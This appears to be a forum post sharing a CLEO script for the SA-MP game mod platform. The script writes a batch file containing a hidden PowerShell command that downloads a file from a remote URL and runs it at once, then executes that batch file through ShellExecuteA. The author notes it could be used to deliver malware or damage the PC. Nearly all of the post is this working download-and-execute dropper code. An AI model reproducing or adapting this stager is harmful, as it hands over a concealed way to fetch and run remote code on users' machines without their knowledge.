The code below creates and executes a batch file with instructions to download an image and execute it immediately. The interesting part is that it also could be used for any other application, like malware for example. Or to do some damage to the PC directly from the command line
Tested with:
-Cleo 4.1
-Sampfuncs 5.3.1
-Samp 0.3.7
Tested with:
-Cleo 4.1
-Sampfuncs 5.3.1
-Samp 0.3.7
Code:
/*
The code seems more comlex than the actual working mechanism because of the "wooden" string handling. It seems that "0A9E: writefile" opcode doesn't work if a string pointer is used so the string is cut and step by step written to the file. Also it seems that using too long strings causes the code to ignore them so that's why there are multiple "@write_file" calls instead of 1 with a 1 simple long string.
*/
{$CLEO .cs}
0000: NOP
repeat
wait 50
until 0AFA: is_samp_structures_available
0A9A: 1@ = openfile "file.bat" mode "wt+" // IF and SET
alloc 2@ 500
format 2@ "powershell.exe -nop -w hidden -c $down = New-Object System.Net.WebClient; $url = 'http:/" //part of the link
call @write_file 2 file 1@ string 2@
format 2@ "/motherboard-images.vice.com/content-images/article/20733/1428578997900669.jpg'; " //link
call @write_file 2 file 1@ string 2@
format 2@ "$file = 'pic.jpg'; $down.DownloadFile($url,$file); " // 'pic.jpg' is the name the file will have when saved
call @write_file 2 file 1@ string 2@
format 2@ "$exec = New-Object -com shell.application; $exec.shellexecute($file); exit;" //executes the file
call @write_file 2 file 1@ string 2@
0A9B: closefile 1@
//by springfield
0AA2: 0@ = "shell32.dll"
if 0AA4: 0@ = "ShellExecuteA" 0@
then
0AA7: 0@ push 6 pop 1 params 1 0 0 "file.bat" 0 0 error_code 1@
if 1@ <= 32
then
printf "FAILURE: %d" 1000 1@
end
end
//by springfield
0A93: end_custom_thread
:write_file
0C17: 31@ = strlen 1@
alloc 24@ 150
while 31@ >= 16
wait 0
0C24: strncpy destination 24@ source 1@ size 16
format 25@v "%s" 24@
chatmsg "%s %d" -1 25@v 31@
0A9E: writefile 0@ size 16 from 25@v
1@ += 16
0C17: 31@ = strlen 1@
end
if 31@ > 0
then
format 25@v "%s" 1@
chatmsg "%s %d" -1 25@v 31@
0A9E: writefile 0@ size 31@ from 25@v
end
ret 0
